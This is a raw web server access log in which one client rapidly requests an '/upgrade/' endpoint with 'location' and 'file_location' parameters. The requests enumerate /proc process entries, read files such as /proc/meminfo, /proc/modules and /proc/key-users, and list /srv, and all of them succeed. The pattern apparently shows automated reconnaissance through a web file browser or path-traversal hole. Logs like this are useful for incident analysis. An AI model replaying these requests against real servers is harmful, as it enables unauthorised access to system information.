45.135.193.11 - - [11/Sep/2026:23:05:05 -0400] "GET /upgrade/?location=%2Fproc%2F1641529 HTTP/1.1" 200 9044 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F1641529" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:05 -0400] "GET /upgrade/?location=%2Fproc%2F2457318 HTTP/1.1" 200 9058 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F2457318" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:05 -0400] "GET /upgrade/?location=%2Fproc%2F2466429 HTTP/1.1" 200 6469 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F2466429" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:05 -0400] "GET /upgrade/?location=%2Fproc%2F3934 HTTP/1.1" 200 9159 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F3934" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:05 -0400] "GET /upgrade/?location=%2Fproc%2F59 HTTP/1.1" 200 9083 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F59" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:05 -0400] "GET /upgrade/?location=%2Fproc%2F815039 HTTP/1.1" 200 9083 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F815039" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:05 -0400] "GET /upgrade/?location=%2Fproc%2F331 HTTP/1.1" 200 9047 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F331" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:05 -0400] "GET /upgrade/?file_location=%2Fproc%2F%2Ffb&location=%2Fproc%2F HTTP/1.1" 200 27844 "http://163.245.207.76:443/upgrade/?file_location=%2Fproc%2F%2Ffb&location=%2Fproc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:06 -0400] "GET /upgrade/?location=%2Fproc%2F152 HTTP/1.1" 200 9055 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F152" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:06 -0400] "GET /upgrade/?location=%2Fproc%2F172 HTTP/1.1" 200 9055 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F172" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:06 -0400] "GET /upgrade/?location=%2Fproc%2F245 HTTP/1.1" 200 9056 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F245" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:06 -0400] "GET /upgrade/?location=%2Fproc%2F2469313 HTTP/1.1" 200 6470 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F2469313" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:06 -0400] "GET /upgrade/?location=%2Fproc%2F2476239 HTTP/1.1" 200 6470 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F2476239" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:06 -0400] "GET /upgrade/?location=%2Fproc%2F2477436 HTTP/1.1" 200 6452 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F2477436" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:06 -0400] "GET /upgrade/?location=%2Fproc%2F29 HTTP/1.1" 200 9082 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F29" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:06 -0400] "GET /upgrade/?location=%2Fproc%2F307 HTTP/1.1" 200 9069 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F307" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:06 -0400] "GET /upgrade/?location=%2Fproc%2F194 HTTP/1.1" 200 9057 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F194" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:06 -0400] "GET /upgrade/?location=%2Fproc%2F79 HTTP/1.1" 200 9083 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F79" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:06 -0400] "GET /upgrade/?file_location=%2Fproc%2F%2Fvmstat&location=%2Fproc%2F HTTP/1.1" 200 30021 "http://163.245.207.76:443/upgrade/?file_location=%2Fproc%2F%2Fvmstat&location=%2Fproc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:06 -0400] "GET /upgrade/?location=%2Fproc%2F1151 HTTP/1.1" 200 9105 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F1151" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:06 -0400] "GET /upgrade/?location=%2Fproc%2F1641527 HTTP/1.1" 200 9100 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F1641527" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:07 -0400] "GET /upgrade/?location=%2Fproc%2F2452129 HTTP/1.1" 200 6469 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F2452129" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:07 -0400] "GET /upgrade/?location=%2Fproc%2F495 HTTP/1.1" 200 9072 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F495" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:07 -0400] "GET /upgrade/?location=%2Fproc%2F77 HTTP/1.1" 200 9082 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F77" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:07 -0400] "GET /upgrade/?file_location=%2Fproc%2F%2Ftimer_list&location=%2Fproc%2F HTTP/1.1" 200 28014 "http://163.245.207.76:443/upgrade/?file_location=%2Fproc%2F%2Ftimer_list&location=%2Fproc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:07 -0400] "GET /upgrade/?location=%2Fproc%2F1585443 HTTP/1.1" 200 9105 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F1585443" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:07 -0400] "GET /upgrade/?location=%2Fproc%2F30 HTTP/1.1" 200 9030 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F30" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:07 -0400] "GET /upgrade/?location=%2Fproc%2F941 HTTP/1.1" 200 9075 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F941" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:07 -0400] "GET /upgrade/?location=%2Fproc%2F97 HTTP/1.1" 200 9083 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F97" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:07 -0400] "GET /upgrade/?file_location=%2Fproc%2F%2Fmeminfo&location=%2Fproc%2F HTTP/1.1" 200 28897 "http://163.245.207.76:443/upgrade/?file_location=%2Fproc%2F%2Fmeminfo&location=%2Fproc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:07 -0400] "GET /upgrade/?location=%2Fproc%2F101 HTTP/1.1" 200 9054 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F101" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:07 -0400] "GET /upgrade/?location=%2Fproc%2F110 HTTP/1.1" 200 9054 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F110" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:07 -0400] "GET /upgrade/?location=%2Fproc%2F1648362 HTTP/1.1" 200 9042 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F1648362" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:08 -0400] "GET /upgrade/?location=%2Fproc%2F2438895 HTTP/1.1" 200 9055 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F2438895" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:08 -0400] "GET /upgrade/?location=%2Fproc%2F2468205 HTTP/1.1" 200 9054 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F2468205" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:08 -0400] "GET /upgrade/?location=%2Fproc%2F2472980 HTTP/1.1" 200 9057 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F2472980" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:08 -0400] "GET /upgrade/?location=%2Fproc%2F157 HTTP/1.1" 200 9056 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F157" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:08 -0400] "GET /upgrade/?location=%2Fproc%2F2471761 HTTP/1.1" 200 6470 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F2471761" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:08 -0400] "GET /upgrade/?file_location=%2Fproc%2F%2Fmtrr&location=%2Fproc%2F HTTP/1.1" 200 28244 "http://163.245.207.76:443/upgrade/?file_location=%2Fproc%2F%2Fmtrr&location=%2Fproc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:08 -0400] "GET /upgrade/?location=%2Fproc%2F2477410 HTTP/1.1" 200 9054 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F2477410" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:08 -0400] "GET /upgrade/?location=%2Fproc%2F482 HTTP/1.1" 200 9070 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F482" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:08 -0400] "GET /upgrade/?file_location=%2Fproc%2F%2Fmodules&location=%2Fproc%2F HTTP/1.1" 200 29802 "http://163.245.207.76:443/upgrade/?file_location=%2Fproc%2F%2Fmodules&location=%2Fproc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:08 -0400] "GET /upgrade/?location=%2Fproc%2F126 HTTP/1.1" 200 9056 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F126" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:08 -0400] "GET /upgrade/?location=%2Fproc%2F2414051 HTTP/1.1" 200 9057 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F2414051" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:08 -0400] "GET /upgrade/?location=%2Fproc%2F709 HTTP/1.1" 200 9069 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F709" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:08 -0400] "GET /upgrade/?file_location=%2Fproc%2F%2Fkey-users&location=%2Fproc%2F HTTP/1.1" 200 28215 "http://163.245.207.76:443/upgrade/?file_location=%2Fproc%2F%2Fkey-users&location=%2Fproc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:09 -0400] "GET /upgrade/?location=%2Fproc%2F18 HTTP/1.1" 200 9082 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F18" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:09 -0400] "GET /upgrade/?location=%2Fproc%2F20 HTTP/1.1" 200 9079 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F20" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:09 -0400] "GET /upgrade/?location=%2Fproc%2F2456829 HTTP/1.1" 200 6470 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F2456829" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:09 -0400] "GET /upgrade/?location=%2Fproc%2F2471691 HTTP/1.1" 200 6470 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F2471691" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:09 -0400] "GET /upgrade/?location=%2Fproc%2F48 HTTP/1.1" 200 9083 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F48" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:09 -0400] "GET /upgrade/?location=%2Fproc%2F699 HTTP/1.1" 200 9069 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F699" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:09 -0400] "GET /upgrade/?location=%2Fproc%2F119 HTTP/1.1" 200 9056 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F119" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:09 -0400] "GET /upgrade/?location=%2Fproc%2F24 HTTP/1.1" 200 9080 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F24" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:09 -0400] "GET /upgrade/?location=%2Fproc%2F2414161 HTTP/1.1" 200 6469 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F2414161" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:09 -0400] "GET /upgrade/?location=%2Fproc%2F2469037 HTTP/1.1" 200 9055 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F2469037" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:09 -0400] "GET /upgrade/?location=%2Fproc%2F57 HTTP/1.1" 200 9081 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F57" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:09 -0400] "GET /upgrade/?location=%2Fproc%2F85 HTTP/1.1" 200 9083 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F85" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:09 -0400] "GET /upgrade/?location=%2Fproc%2Ftty HTTP/1.1" 200 6319 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2Ftty" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:09 -0400] "GET /upgrade/?file_location=%2Fproc%2F%2Fschedstat&location=%2Fproc%2F HTTP/1.1" 200 29253 "http://163.245.207.76:443/upgrade/?file_location=%2Fproc%2F%2Fschedstat&location=%2Fproc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:10 -0400] "GET /upgrade/?location=%2Fproc%2F1474 HTTP/1.1" 200 9165 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F1474" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:10 -0400] "GET /upgrade/?location=%2Fproc%2F1476 HTTP/1.1" 200 9166 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F1476" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:10 -0400] "GET /upgrade/?location=%2Fproc%2F162 HTTP/1.1" 200 9056 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F162" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:10 -0400] "GET /upgrade/?location=%2Fproc%2F1641523 HTTP/1.1" 200 9098 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F1641523" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:10 -0400] "GET /upgrade/?location=%2Fproc%2F170 HTTP/1.1" 200 9049 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F170" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:10 -0400] "GET /upgrade/?location=%2Fproc%2F2472210 HTTP/1.1" 200 9056 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F2472210" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:10 -0400] "GET /upgrade/?location=%2Fproc%2F2477151 HTTP/1.1" 200 6470 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F2477151" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:10 -0400] "GET /upgrade/?location=%2Fproc%2F2477339 HTTP/1.1" 200 6470 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F2477339" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:10 -0400] "GET /upgrade/?location=%2Fproc%2F123 HTTP/1.1" 200 9055 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F123" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:10 -0400] "GET /upgrade/?location=%2Fproc%2F2412107 HTTP/1.1" 200 6469 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F2412107" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:10 -0400] "GET /upgrade/?location=%2Fproc%2F2442345 HTTP/1.1" 200 9024 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F2442345" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:10 -0400] "GET /upgrade/?location=%2Fproc%2F2449454 HTTP/1.1" 200 6469 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F2449454" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:10 -0400] "GET /upgrade/?location=%2Fproc%2F87 HTTP/1.1" 200 9083 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F87" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:10 -0400] "GET /upgrade/?location=%2Fproc%2F9 HTTP/1.1" 200 9046 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F9" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:10 -0400] "GET /upgrade/?location=%2Fproc%2F151 HTTP/1.1" 200 9055 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F151" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:11 -0400] "GET /upgrade/?location=%2Fproc%2F2453335 HTTP/1.1" 200 9063 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F2453335" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:11 -0400] "GET /upgrade/?location=%2Fproc%2F2472978 HTTP/1.1" 200 6470 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F2472978" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:11 -0400] "GET /upgrade/?full_path=%2Fsrv&location=%2F HTTP/1.1" 200 7728 "http://163.245.207.76:443/upgrade/?full_path=%2Fsrv&location=%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:11 -0400] "GET /upgrade/?full_path=%2Fsrv&location=%2Fsrv%2F HTTP/1.1" 200 5708 "http://163.245.207.76:443/upgrade/?full_path=%2Fsrv&location=%2Fsrv%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:11 -0400] "GET /upgrade/?location=%2Fsrv%2F HTTP/1.1" 200 5697 "http://163.245.207.76:443/upgrade/?location=%2Fsrv%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:11 -0400] "GET /upgrade/index.php?location=%2Fsrv%2F HTTP/1.1" 200 5697 "http://163.245.207.76:443/upgrade/index.php?location=%2Fsrv%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:11 -0400] "GET /upgrade/?location=%2Fsrv%2F&option=folder HTTP/1.1" 200 5705 "http://163.245.207.76:443/upgrade/?location=%2Fsrv%2F&option=folder" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
